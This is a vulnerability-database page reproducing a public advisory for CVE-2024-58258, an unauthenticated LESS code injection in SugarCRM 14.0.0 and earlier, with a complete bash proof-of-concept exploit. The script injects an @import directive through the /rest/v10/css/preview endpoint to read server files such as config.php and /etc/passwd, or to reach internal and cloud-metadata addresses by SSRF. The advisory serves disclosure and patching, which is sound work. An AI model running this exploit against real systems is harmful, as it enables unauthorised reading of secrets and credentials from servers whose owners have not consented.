Lucene search
K

๐Ÿ“„ SugarCRM 14.0.0 Code Injection / SSRF / File Read

๐Ÿ—“๏ธย 14 Jul 2025ย 00:00:00Reported byย EgiXTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 118ย Views

SugarCRM 14.0.0 and earlier have LESS code injection via GET /css/preview, enabling unauthenticated SSRF and local file reads.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2024-58258
21 Nov 202512:54
โ€“githubexploit
Circl
CVE-2024-58258
14 Jul 202508:13
โ€“circl
CNNVD
SugarCRM ไปฃ็ ๆณจๅ…ฅๆผๆดž
13 Jul 202500:00
โ€“cnnvd
CVE
CVE-2024-58258
13 Jul 202500:00
โ€“cve
Cvelist
CVE-2024-58258
13 Jul 202500:00
โ€“cvelist
Exploit DB
SugarCRM 14.0.0 - SSRF/Code Injection
16 Jul 202500:00
โ€“exploitdb
EUVD
EUVD-2024-54779
3 Oct 202520:07
โ€“euvd
NVD
CVE-2024-58258
13 Jul 202522:15
โ€“nvd
Positive Technologies
PT-2025-29387 ยท Sugarcrm ยท Sugarcrm
13 Jul 202500:00
โ€“ptsecurity
RedhatCVE
CVE-2024-58258
15 Jul 202500:21
โ€“redhatcve
Rows per page
------------------------------------------------------------------
    SugarCRM <= 14.0.0 (css/preview) LESS Code Injection Vulnerability
    ------------------------------------------------------------------
    
    
    [-] Software Link:
    
    https://www.sugarcrm.com
    
    
    [-] Affected Versions:
    
    All commercial versions before 13.0.4 and 14.0.1.
    
    
    [-] Vulnerability Description:
    
    User input passed through GET parameters to the /css/preview REST API
    endpoint is not properly sanitized before parsing it as LESS code. This can
    be exploited by remote, unauthenticated attackers to inject and execute
    arbitrary LESS directives. By abusing the @import LESS statement, an
    attacker can trigger Server-Side Request Forgery (SSRF) or read arbitrary
    local files on the web server, potentially leading to the disclosure of
    sensitive information.
    
    
    [-] Proof of Concept:
    
    https://karmainsecurity.com/pocs/CVE-2024-58258.sh
    
    
    [-] Solution:
    
    Upgrade to version 13.0.4, 14.0.1, or later.
    
    
    [-] Disclosure Timeline:
    
    [07/09/2024] - Vendor notified through HackerOne
    [03/10/2024] - Versions 13.0.4 and 14.0.1 released
    [03/01/2025] - Vendor closed the HackerOne report as "Resolved"
    [12/07/2025] - CVE identifier requested
    [13/07/2025] - CVE identifier assigned
    [14/07/2025] - Public disclosure
    
    
    [-] CVE Reference:
    
    The Common Vulnerabilities and Exposures program (cve.org) has assigned the
    name CVE-2024-58258 to this vulnerability.
    
    
    [-] Credits:
    
    Vulnerability discovered by Egidio Romano.
    
    
    [-] Original Advisory:
    
    http://karmainsecurity.com/KIS-2025-04
    
    
    [-] Other References:
    
    https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/
    
    
    ---- poc ----
    
    #!/bin/bash
    #
    # ------------------------------------------------------------------
    # SugarCRM <= 14.0.0 (css/preview) LESS Code Injection Vulnerability
    # ------------------------------------------------------------------
    #
    # author..............: Egidio Romano aka EgiX
    # mail................: n0b0d13s[at]gmail[dot]com
    # software link.......: https://www.sugarcrm.com
    #
    # +-------------------------------------------------------------------------+
    # | This proof of concept code was written for educational purpose only.    |
    # | Use it at your own risk. Author will be not responsible for any damage. |
    # +-------------------------------------------------------------------------+
    #
    # [-] Original Advisory:
    #
    # https://karmainsecurity.com/KIS-2025-04
    
    echo
    echo "+----------------------------------------------------------------------+";
    echo "| SugarCRM <= 14.0.0 (css/preview) LESS Code Injection Exploit by EgiX |";
    echo "+----------------------------------------------------------------------+";
    
    if [ "$#" -ne 2 ]; then
        echo -ne "\nUsage.....: $0 <SugarCRM URL> <Local File or SSRF URL>\n"
        echo -ne "\nExample...: $0 'http://localhost/sugarcrm/' 'config.php'"
        echo -ne "\nExample...: $0 'http://localhost/sugarcrm/' '/etc/passwd'"
        echo -ne "\nExample...: $0 'https://www.sugarcrm.com/' 'http://localhost:9200/_search'"
        echo -ne "\nExample...: $0 'https://www.sugarcrm.com/' 'http://169.254.169.254/latest/meta-data/'\n\n"
        exit 1
    fi
    
    urlencode() {
        echo -n "$1" | xxd -p | tr -d '\n' | sed 's/../%&/g'
    }
    
    INJECTION=$(urlencode "1; @import (inline) '$2'; @import (inline) 'data:text/plain,________';//")
    RESPONSE=$(curl -ks "${1}rest/v10/css/preview?baseUrl=1&param=${INJECTION}")
    
    if echo "$RESPONSE" | grep -q "________"; then
        echo -e "\nOutput for '$2':\n"
        echo "$RESPONSE" | sed '/________/q' | grep -v '________'
        echo
    else
        echo -e "\nError: exploit failed!\n"
        exit 2
    fi

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jul 2025 00:00Current
8High risk
Vulners AI Score8
CVSS 3.17.2
EPSS0.0224
SSVC
118